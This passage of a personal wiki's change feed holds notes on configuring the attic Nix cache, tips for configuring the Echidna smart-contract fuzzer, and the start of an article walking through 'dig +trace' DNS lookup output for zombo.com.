[...]&amp;lt;/pre&amp;gt;&lt;br /&gt;
This way, you can see if the credentials are correct or not, and if your computer can reach attic at all.&lt;br /&gt;
&lt;br /&gt;
Furthermore, watch the attic logs under &amp;lt;code&amp;gt;/var/log/atticd&amp;lt;/code&amp;gt; for any error messages. You should be able to observe the following log output:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;==&amp;amp;gt; /var/log/atticd/attic.stderr.log &amp;amp;lt;==&lt;br /&gt;
[...]&lt;br /&gt;
Attic Server 0.1.0 (release)&lt;br /&gt;
Running migrations...&lt;br /&gt;
Starting API server...&lt;br /&gt;
Listening on 127.0.0.1:18080...&lt;br /&gt;
&lt;br /&gt;
==&amp;amp;gt; /var/log/atticd/attic.stdout.log &amp;amp;lt;==&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;further-reading&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Further reading =&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt;: https://github.com/LnL7/nix-darwin&lt;br /&gt;
* attic source code repository: https://github.com/zhaofengli/attic&lt;br /&gt;
* attic NixOS configuration: https://github.com/zhaofengli/attic/blob/main/nixos/atticd.nix&lt;br /&gt;
* How to serve and configure Nix store (not cache) via HTTP: https://nix.dev/manual/nix/2.18/package-management/binary-cache-substituter&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Echidna_Tricks&amp;diff=84</id>
		<title>Echidna Tricks</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Echidna_Tricks&amp;diff=84"/>
		<updated>2026-01-30T04:55:09Z</updated>

		<summary type="html">&lt;p&gt;Justus: Justus moved page Echidna Tricks to Echidna tricks: spelling&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Echidna tricks]]&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Echidna_tricks&amp;diff=83</id>
		<title>Echidna tricks</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Echidna_tricks&amp;diff=83"/>
		<updated>2026-01-30T04:55:09Z</updated>

		<summary type="html">&lt;p&gt;Justus: Justus moved page Echidna Tricks to Echidna tricks: spelling&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Here are some useful tricks for getting the best out of [https://github.com/crytic/echidna Echidna].&lt;br /&gt;
&lt;br /&gt;
Echidna is a fuzzing tool for smart contracts written in [https://docs.soliditylang.org/en/v0.8.30/ Solidity]. Solidity smart contracts primarily work on the [https://ethereum.org/en/ Ethereum] blockchain. Some smart contracts are responsible for managing large amounts of cryptocurrency. With Echidna you can evaluate the security of smart contracts.&lt;br /&gt;
&lt;br /&gt;
Compared to code scanners and formal methods, Echidna is good at finding transactions that can trigger &#039;&#039;unintended&#039;&#039; behavior in smart contracts. Since Echidna is a [https://en.wikipedia.org/wiki/Fuzzing#Aware_of_program_structure coverage-guided fuzzer], it’s also good at finding ways to hit the entire code surface of a smart contract.&lt;br /&gt;
&lt;br /&gt;
To test a smart contract with Echidna, you have to define a testing interface that Echidna can use to interact with your contract under test. This interfaces contains either [https://secure-contracts.com/program-analysis/echidna/basic/assertion-checking.html assertions] or [https://secure-contracts.com/program-analysis/echidna/introduction/how-to-test-a-property.html properties]. You can select which kind of test Echidna should perform using the command line flag &amp;lt;code&amp;gt;--test-mode&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;configuration-options&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Configuration options =&lt;br /&gt;
&lt;br /&gt;
Echidna has a lot of [https://secure-contracts.com/program-analysis/echidna/configuration.html configuration options]. Here are some options that I recently used when going through the [https://github.com/crytic/building-secure-contracts/tree/master/program-analysis/echidna Building Secure Contracts Echidna tutorial]:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;testMode&amp;lt;/code&amp;gt;: When working through the tutorials, I’ve only ever used &amp;lt;code&amp;gt;property&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;assertion&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;sender&amp;lt;/code&amp;gt;: Set these to the same value to ensure that the same account makes all transactions. &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; takes a single address, &amp;lt;code&amp;gt;sender&amp;lt;/code&amp;gt; accepts a list of strings.&lt;br /&gt;
* &amp;lt;code&amp;gt;cryticArgs&amp;lt;/code&amp;gt;: Set &amp;lt;code&amp;gt;[&amp;amp;quot;--solc-remaps&amp;amp;quot;, &amp;amp;quot;prefix=target&amp;amp;quot;]&amp;lt;/code&amp;gt; if you have dependencies somewhere else. Example: &amp;lt;code&amp;gt;@openzeppelin=../node_modules/@openzeppelin&amp;lt;/code&amp;gt; if your Node.js modules are in the parent directory.&lt;br /&gt;
* &amp;lt;code&amp;gt;balanceContract&amp;lt;/code&amp;gt;: Give this some Ether so that the contract under test can deploy and fund other contracts.&lt;br /&gt;
* &amp;lt;code&amp;gt;balanceAddr&amp;lt;/code&amp;gt;: Give &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;sender&amp;lt;/code&amp;gt; Ether using this setting.&lt;br /&gt;
* &amp;lt;code&amp;gt;shrinkLimit&amp;lt;/code&amp;gt;: Shrinking stops too early? Set the limit to a higher number than the default &amp;lt;code&amp;gt;5000&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;testLimit&amp;lt;/code&amp;gt;: Tests stop too early? Add more iterations using this setting.&lt;br /&gt;
&lt;br /&gt;
Here’s how it can look like when you combine some of these settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;yaml&amp;quot;&amp;gt;# Give both the Test contract, as well as the sender 100 Wei&lt;br /&gt;
balanceContract: 100&lt;br /&gt;
balanceAddr: 100&lt;br /&gt;
# Run in assertion mode&lt;br /&gt;
testMode: assertion&lt;br /&gt;
# Let Echidna interact with the public interfaces of all contracts&lt;br /&gt;
allContracts: true&lt;br /&gt;
# You can leave out leading zeros in addresses&lt;br /&gt;
# This address deploys your contract&lt;br /&gt;
deployer: &amp;quot;0x30000&amp;quot;&lt;br /&gt;
# These addresses interact with your contracts&lt;br /&gt;
sender:&lt;br /&gt;
  - &amp;quot;0x10000&amp;quot;&lt;br /&gt;
  - &amp;quot;0x20000&amp;quot;&lt;br /&gt;
  - &amp;quot;0x30000&amp;quot;&lt;br /&gt;
# Don&#039;t let Echidna send Ether to the test contract&lt;br /&gt;
filterBlackList: true&lt;br /&gt;
filterFunctions:&lt;br /&gt;
  - &amp;quot;Test.fallback()&amp;quot;&lt;br /&gt;
cryticArgs:&lt;br /&gt;
  - &amp;quot;--solc-remaps&amp;quot;&lt;br /&gt;
  - &amp;quot;@openzeppelin=../node_modules/@openzeppelin&amp;quot;&lt;br /&gt;
# Run 20 workers in parallel. Adjust to the number of CPU cores&lt;br /&gt;
workers: 20&lt;br /&gt;
# Attempt to shrink an interesting case 10,000 times&lt;br /&gt;
shrinkLimit: 10000&lt;br /&gt;
# Run 1 million tests&lt;br /&gt;
testLimit: 1000000&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
When you create your configuration file, you can tell Echidna to use it with the &amp;lt;code&amp;gt;--config&amp;lt;/code&amp;gt; command line flag. Here’s how to run Echidna using the configuration file &amp;lt;code&amp;gt;echidna.yaml&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;echidna --config echidna.yaml --contract Test test.sol&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This assumes your test contract is called &amp;lt;code&amp;gt;Test&amp;lt;/code&amp;gt; and is in a file called &amp;lt;code&amp;gt;test.sol&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;resources&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Resources =&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/crytic/building-secure-contracts/tree/master Building Secure Contracts]&lt;br /&gt;
* [https://secure-contracts.com/program-analysis/echidna/index.html Echidna tutorial from secure-contracts.com]&lt;br /&gt;
* [https://secure-contracts.com/program-analysis/echidna/configuration.html Echidna Configuration options]&lt;br /&gt;
* [https://ethernaut.openzeppelin.com/ Ethernaut challenge]&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=DNS_things&amp;diff=82</id>
		<title>DNS things</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=DNS_things&amp;diff=82"/>
		<updated>2026-01-30T04:54:21Z</updated>

		<summary type="html">&lt;p&gt;Justus: Created page with &amp;quot;This article contains interesting things that I’ve come across while learning more about DNS.  &amp;lt;!--more--&amp;gt; &amp;lt;span id=&amp;quot;anatomy-of-a-dns-request&amp;quot;&amp;gt;&amp;lt;/span&amp;gt; = Anatomy of a DNS request =  Here’s how you can run a &amp;#039;&amp;#039;&amp;#039;full DNS request&amp;#039;&amp;#039;&amp;#039; for the domain &amp;lt;code&amp;gt;zombo.com&amp;lt;/code&amp;gt; using &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt;:  &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;dig +trace +all zombo.com&amp;lt;/syntaxhighlight&amp;gt; When you run a full DNS request, &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; retrieves the &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; DNS record for a domain by...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This article contains interesting things that I’ve come across while learning more about DNS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--more--&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;anatomy-of-a-dns-request&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Anatomy of a DNS request =&lt;br /&gt;
&lt;br /&gt;
Here’s how you can run a &#039;&#039;&#039;full DNS request&#039;&#039;&#039; for the domain &amp;lt;code&amp;gt;zombo.com&amp;lt;/code&amp;gt; using &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;dig +trace +all zombo.com&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
When you run a full DNS request, &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; retrieves the &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; DNS record for a domain by querying the whole chain of the &#039;&#039;&#039;Fully Qualified Domain Name&#039;&#039;&#039; (FQDN) &amp;lt;code&amp;gt;zombo.com.&amp;lt;/code&amp;gt;. When a DNS client queries a FQDN, it starts at the root &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;, and recursively work its way down to query &amp;lt;code&amp;gt;.com.&amp;lt;/code&amp;gt;, and then &amp;lt;code&amp;gt;.zombo.com&amp;lt;/code&amp;gt;. The precise sequence of queries that &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; performs depends on each response.&lt;br /&gt;
&lt;br /&gt;
With a full DNS request, you can query DNS records for domains &#039;&#039;&#039;from scratch&#039;&#039;&#039; without needing any DNS resolver or DNS cache.&lt;br /&gt;
&lt;br /&gt;
This is the transcript, split by individual query.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;startup-information&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Startup information ==&lt;br /&gt;
&lt;br /&gt;
First, &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; prints some general information, like the command that received, or its version:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;; &amp;amp;lt;&amp;amp;lt;&amp;amp;gt;&amp;amp;gt; DiG 9.18.28 &amp;amp;lt;&amp;amp;lt;&amp;amp;gt;&amp;amp;gt; +trace +all zombo.com&lt;br /&gt;
;; global options: +cmd&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;root-name-server&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Root name server ==&lt;br /&gt;
&lt;br /&gt;
Next, &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; queries the &#039;&#039;&#039;DNS resolver&#039;&#039;&#039; configured for the network this computer runs in. The DNS resolver has the IP address &amp;lt;code&amp;gt;10.0.48.1&amp;lt;/code&amp;gt; and runs on a Ubiquiti Dream Router.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; asks for the &amp;lt;code&amp;gt;NS&amp;lt;/code&amp;gt; record for the name &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;. It receives a long list of &amp;lt;code&amp;gt;NS&amp;lt;/code&amp;gt; records in the answer section. Each of these records starts with a single lowercase letter and ends on &amp;lt;code&amp;gt;.root-servers.net.&amp;lt;/code&amp;gt;. Each of these names represent a &#039;&#039;&#039;root name server&#039;&#039;&#039; that &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; can then ask for &amp;lt;code&amp;gt;zombo.com&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Furthermore, the querying the name &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt; also gives us back a few &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;AAAA&amp;lt;/code&amp;gt; records for each of these root name servers. This tells &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; what the IPv4 and IPv6 addresses of each of these root name servers are.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;;; Got answer:&lt;br /&gt;
;; -&amp;amp;gt;&amp;amp;gt;HEADER&amp;amp;lt;&amp;amp;lt;- opcode: QUERY, status: NOERROR, id: 38385&lt;br /&gt;
;; flags: qr rd ra; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 27&lt;br /&gt;
&lt;br /&gt;
;; OPT PSEUDOSECTION:&lt;br /&gt;
; EDNS: version: 0, flags: do; udp: 1232&lt;br /&gt;
;; QUESTION SECTION:&lt;br /&gt;
;.              IN  NS&lt;br /&gt;
&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
.           190794  IN  NS  b.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  m.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  h.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  i.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  j.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  d.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  a.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  g.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  f.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  c.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  e.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  k.root-servers.net.&lt;br /&gt;
.           190794  IN  NS  l.root-servers.net.&lt;br /&gt;
.           445435  IN  RRSIG   NS 8 0 518400 20250118170000 20250105160000 26470 . m7C4icJMnOILA5mlMR9oDLoQBWE0Y9sPoqbXSoVUVrTKgWDbZNOrlMig xBubsOExXwQ4XZg3jwmh6FckcIMly1ZMIfZycMxWvyIvOrgxnBAt4Gu1 sMC4bn45v2BIaMHCaSLwW1jUB+MvrCPhBeYQJsfeLkRBi3W2VPwFIV60 BmPt2/i8jCJrkxx8bOaDGuTGFdwm1L62Ri2+QrewsbRGOcWpJHptJI/h Di61Q/C043YHHhc9w037cKYFeP8dupWS8RLcW/jIELTXhW2FrgETv285 3RndOgaFb9RBoTUo16i3lge1KIMZoS2eksoGQEt8kfgfYVrIKTrwQpf6 Z5NvCQ==&lt;br /&gt;
&lt;br /&gt;
;; ADDITIONAL SECTION:&lt;br /&gt;
a.root-servers.net. 104582  IN  A   198.41.0.4&lt;br /&gt;
b.root-servers.net. 276147  IN  A   170.247.170.2&lt;br /&gt;
c.root-servers.net. 368518  IN  A   192.33.4.12&lt;br /&gt;
d.root-servers.net. 187359  IN  A   199.7.91.13&lt;br /&gt;
e.root-servers.net. 187359  IN  A   192.203.230.10&lt;br /&gt;
f.root-servers.net. 199714  IN  A   192.5.5.241&lt;br /&gt;
g.root-servers.net. 216475  IN  A   192.112.36.4&lt;br /&gt;
h.root-servers.net. 240623  IN  A   198.97.190.53&lt;br /&gt;
i.root-servers.net. 532693  IN  A   192.36.148.17&lt;br /&gt;
j.root-servers.net. 320888  IN  A   192.58.128.30&lt;br /&gt;
k.root-servers.net. 271911  IN  A   193.0.14.129&lt;br /&gt;
l.root-servers.net. 357258  IN  A   199.7.83.42&lt;br /&gt;
m.root-servers.net. 104622  IN  A   202.12.27.33&lt;br /&gt;
a.root-servers.net. 113505  IN  AAAA    2001:503:ba3e::2:30&lt;br /&gt;
b.root-servers.net. 294399  IN  AAAA    2801:1b8:10::b&lt;br /&gt;
c.root-servers.net. 331660  IN  AAAA    2001:500:2::c&lt;br /&gt;
d.root-servers.net. 32858   IN  AAAA    2001:500:2d::d&lt;br /&gt;
e.root-servers.net. 307198  IN  AAAA    2001:500:a8::e&lt;br /&gt;
f.root-servers.net. 408208  IN  AAAA    2001:500:2f::f&lt;br /&gt;
g.root-servers.net. 353355  IN  AAAA    2001:500:12::d0d&lt;br /&gt;
h.root-servers.net. 234104  IN  AAAA    2001:500:1::53&lt;br /&gt;
i.root-servers.net. 390219  IN  AAAA    2001:7fe::53&lt;br /&gt;
j.root-servers.net. 463450  IN  AAAA    2001:503:c27::2:30&lt;br /&gt;
k.root-servers.net. 37861   IN  AAAA    2001:7fd::1&lt;br /&gt;
l.root-servers.net. 225301  IN  AAAA    2001:500:9f::42&lt;br /&gt;
m.root-servers.net. 118907  IN  AAAA    2001:dc3::35&lt;br /&gt;
&lt;br /&gt;
;; Query time: 18 msec&lt;br /&gt;
;; SERVER: 10.0.48.1#53(10.0.48.1) (UDP)&lt;br /&gt;
;; WHEN: Tue Jan 07 10:26:18 JST 2025&lt;br /&gt;
;; MSG SIZE  rcvd: 1109&amp;lt;/pre&amp;gt;&lt;br /&gt;
Some other noteworthy things about the first DNS response:&lt;br /&gt;
&lt;br /&gt;
* The &#039;&#039;&#039;opcode&#039;&#039;&#039; in the answer is &amp;lt;code&amp;gt;QUERY&amp;lt;/code&amp;gt;. The sender of the DNS query sets this value, in this case &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt;. See &amp;lt;code&amp;gt;opcode: QUERY&amp;lt;/code&amp;gt; in line 2.&lt;br /&gt;
* The DNS resolver set the &amp;lt;code&amp;gt;QUERY&amp;lt;/code&amp;gt; flag to &amp;lt;code&amp;gt;1&amp;lt;/code&amp;gt;, which means that this an &#039;&#039;&#039;answer&#039;&#039;&#039; to a DNS query. You can see this in the second line in &amp;lt;code&amp;gt;QUERY: 1&amp;lt;/code&amp;gt;. In the DNS protocol Request For Comments (RFC), [https://datatracker.ietf.org/doc/html/rfc1035#section-4.1.1 RFC 1035] the &amp;lt;code&amp;gt;QUERY&amp;lt;/code&amp;gt; field is instead called &amp;lt;code&amp;gt;QR&amp;lt;/code&amp;gt;.&lt;br /&gt;
* The resolver tells &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; that it includes 14 &#039;&#039;&#039;answer records&#039;&#039;&#039; in this response. You can see this in the second line in &amp;lt;code&amp;gt;ANSWER: 14&amp;lt;/code&amp;gt;. The DNS protocol specification calls this header value &amp;lt;code&amp;gt;ANCOUNT&amp;lt;/code&amp;gt;.&lt;br /&gt;
* The answer contains 27 &#039;&#039;&#039;additional records&#039;&#039;&#039;. The DNS protocol specification calls this value &amp;lt;code&amp;gt;ARCOUNT&amp;lt;/code&amp;gt;. These are values that &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; hasn’t requested directly. Instead, the resolver still wants &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; to know about these.&lt;br /&gt;
* If you manually count the records in the &amp;lt;code&amp;gt;ADDITIONAL&amp;lt;/code&amp;gt; section, you may only see 26 records. I don’t know why that’s the case.&lt;br /&gt;
* The query response contains no &#039;&#039;&#039;authority records&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;finding-the-top-level-domain-name-server&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Finding the top-level domain name server ==&lt;br /&gt;
&lt;br /&gt;
Proceeding with the next query, &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; asks the root name server &amp;lt;code&amp;gt;j.root-servers.net&amp;lt;/code&amp;gt; for the FQDN &amp;lt;code&amp;gt;zombo.com.&amp;lt;/code&amp;gt;. The root name server returns 13 &amp;lt;code&amp;gt;AUTHORITY&amp;lt;/code&amp;gt; records that &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; can query next to continue resolving &amp;lt;code&amp;gt;zombo.com.&amp;lt;/code&amp;gt;. Furthermore, the &amp;lt;code&amp;gt;AUTHORITY&amp;lt;/code&amp;gt; section contains the DNSSEC records &amp;lt;code&amp;gt;DS&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;RRSIG&amp;lt;/code&amp;gt;. A recent version of &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; is able to check DNSSEC signatures using the &amp;lt;code&amp;gt;+dnssec&amp;lt;/code&amp;gt; flag. See [https://serverfault.com/a/154075 this Stack Exchange answer] for more information.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;root-servers.net&amp;lt;/code&amp;gt; doesn’t hold records for &amp;lt;code&amp;gt;.com&amp;lt;/code&amp;gt; domains itself, so it points &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; to ask &amp;lt;code&amp;gt;gtld-servers.net.&amp;lt;/code&amp;gt; next instead. &amp;lt;code&amp;gt;gtld-servers.net&amp;lt;/code&amp;gt; is responsible for &#039;&#039;&#039;resolving .com domains&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;;; Got answer:&lt;br /&gt;
;; -&amp;amp;gt;&amp;amp;gt;HEADER&amp;amp;lt;&amp;amp;lt;- opcode: QUERY, status: NOERROR, id: 1157&lt;br /&gt;
;; flags: qr; QUERY: 1, ANSWER: 0, AUTHORITY: 15, ADDITIONAL: 27&lt;br /&gt;
&lt;br /&gt;
;; OPT PSEUDOSECTION:&lt;br /&gt;
; EDNS: version: 0, flags: do; udp: 1472&lt;br /&gt;
;; QUESTION SECTION:&lt;br /&gt;
;zombo.com.         IN  A&lt;br /&gt;
&lt;br /&gt;
;; AUTHORITY SECTION:&lt;br /&gt;
com.            172800  IN  NS  a.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  b.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  c.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  d.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  e.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  f.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  g.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  h.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  i.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  j.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  k.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  l.gtld-servers.net.&lt;br /&gt;
com.            172800  IN  NS  m.gtld-servers.net.&lt;br /&gt;
com.            86400   IN  DS  19718 13 2 8ACBB0CD28F41250A80A491389424D341522D946B0DA0C0291F2D3D7 71D7805A&lt;br /&gt;
com.            86400   IN  RRSIG   DS 8 1 86400 20250119210000 20250106200000 26470 . DQQ9SqKUcniHKVr6zFNzs6wHLVZ6CdfSFMr3q8tCwh+mLPrKCTRlbnpS TmJy1M8YDEDvrrBO0EFx1rr+cGwcB2RiIfOnLl8c2942n5aOpR+3tZB0 sCP1KFv1+BhiD1RL8dff+rMNJ8+0BWNgsID8/MmI+y8UB/70YERAz/W0 AmOhbN/pHkfgvZfbtrOs6Msz+wcUR17wRCOLazyFnBE19EWnek9SYhj9 Jw440nEZ1Kopi+KqWXG0K+kt1HqZS3J2kkO/TmHyU780F/fOtRP/dWmX 06gSiBe4cCSe3Hs7aHlIe2LwH/ICioNdJj0WjzFJ8IDoC+vmLdRkXh4b NVJHoQ==&lt;br /&gt;
&lt;br /&gt;
;; ADDITIONAL SECTION:&lt;br /&gt;
a.gtld-servers.net. 172800  IN  A   192.5.6.30&lt;br /&gt;
b.gtld-servers.net. 172800  IN  A   192.33.14.30&lt;br /&gt;
c.gtld-servers.net. 172800  IN  A   192.26.92.30&lt;br /&gt;
d.gtld-servers.net. 172800  IN  A   192.31.80.30&lt;br /&gt;
e.gtld-servers.net. 172800  IN  A   192.12.94.30&lt;br /&gt;
f.gtld-servers.net. 172800  IN  A   192.35.51.30&lt;br /&gt;
g.gtld-servers.net. 172800  IN  A   192.42.93.30&lt;br /&gt;
h.gtld-servers.net. 172800  IN  A   192.54.112.30&lt;br /&gt;
i.gtld-servers.net. 172800  IN  A   192.43.172.30&lt;br /&gt;
j.gtld-servers.net. 172800  IN  A   192.48.79.30&lt;br /&gt;
k.gtld-servers.net. 172800  IN  A   192.52.178.30&lt;br /&gt;
l.gtld-servers.net. 172800  IN  A   192.41.162.30&lt;br /&gt;
m.gtld-servers.net. 172800  IN  A   192.55.83.30&lt;br /&gt;
a.gtld-servers.net. 172800  IN  AAAA    2001:503:a83e::2:30&lt;br /&gt;
b.gtld-servers.net. 172800  IN  AAAA    2001:503:231d::2:30&lt;br /&gt;
c.gtld-servers.net. 172800  IN  AAAA    2001:503:83eb::30&lt;br /&gt;
d.gtld-servers.net. 172800  IN  AAAA    2001:500:856e::30&lt;br /&gt;
e.gtld-servers.net. 172800  IN  AAAA    2001:502:1ca1::30&lt;br /&gt;
f.gtld-servers.net. 172800  IN  AAAA    2001:503:d414::30&lt;br /&gt;
g.gtld-servers.net. 172800  IN  AAAA    2001:503:eea3::30&lt;br /&gt;
h.gtld-servers.net. 172800  IN  AAAA    2001:502:8cc::30&lt;br /&gt;
i.gtld-servers.net. 172800  IN  AAAA    2001:503:39c1::30&lt;br /&gt;
j.gtld-servers.net. 172800  IN  AAAA    2001:502:7094::30&lt;br /&gt;
k.gtld-servers.net. 172800  IN  AAAA    2001:503:d2d::30&lt;br /&gt;
l.gtld-servers.net. 172800  IN  AAAA    2001:500:d937::30&lt;br /&gt;
m.gtld-servers.net. 172800  IN  AAAA    2001:501:b1f9::30&lt;br /&gt;
&lt;br /&gt;
;; Query time: 11 msec&lt;br /&gt;
;; SERVER: 192.58.128.30#53(j.root-servers.net) (UDP)&lt;br /&gt;
;; WHEN: Tue Jan 07 10:26:18 JST 2025&lt;br /&gt;
;; MSG SIZE  rcvd: 1169&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;top-level-domain-name-server&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Top-level domain name server ==&lt;br /&gt;
&lt;br /&gt;
Here’s what happens when &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; asks the &#039;&#039;&#039;Top Level Domain (TLD) name server&#039;&#039;&#039; &amp;lt;code&amp;gt;d.gtld-servers.net&amp;lt;/code&amp;gt; for &amp;lt;code&amp;gt;zombo.com.&amp;lt;/code&amp;gt;. Verisign operates the servers at &amp;lt;code&amp;gt;gtld-servers.net&amp;lt;/code&amp;gt;. Here are some noteworthy things about the reply that &amp;lt;code&amp;gt;d.gtld-servers.net&amp;lt;/code&amp;gt; gives back to &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* The response contains signed NSEC3 records. [https://dnsinstitute.com/documentation/dnssec-guide/ch06s02.html NSEC3 records are complex], and I don’t understand them well right now.&lt;br /&gt;
* Verisign tells &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; that the authoritative name servers are with &amp;lt;code&amp;gt;liquidweb.com&amp;lt;/code&amp;gt;, specifically: &amp;lt;code&amp;gt;ns.liquidweb.com&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;ns1.liquidweb.com&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; also receives the &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; records for the two &amp;lt;code&amp;gt;liquidweb.com&amp;lt;/code&amp;gt; name server&lt;br /&gt;
&lt;br /&gt;
Here’s the DNS query response that &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; prints out:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;;; Got answer:&lt;br /&gt;
;; -&amp;amp;gt;&amp;amp;gt;HEADER&amp;amp;lt;&amp;amp;lt;- opcode: QUERY, status: NOERROR, id: 29896&lt;br /&gt;
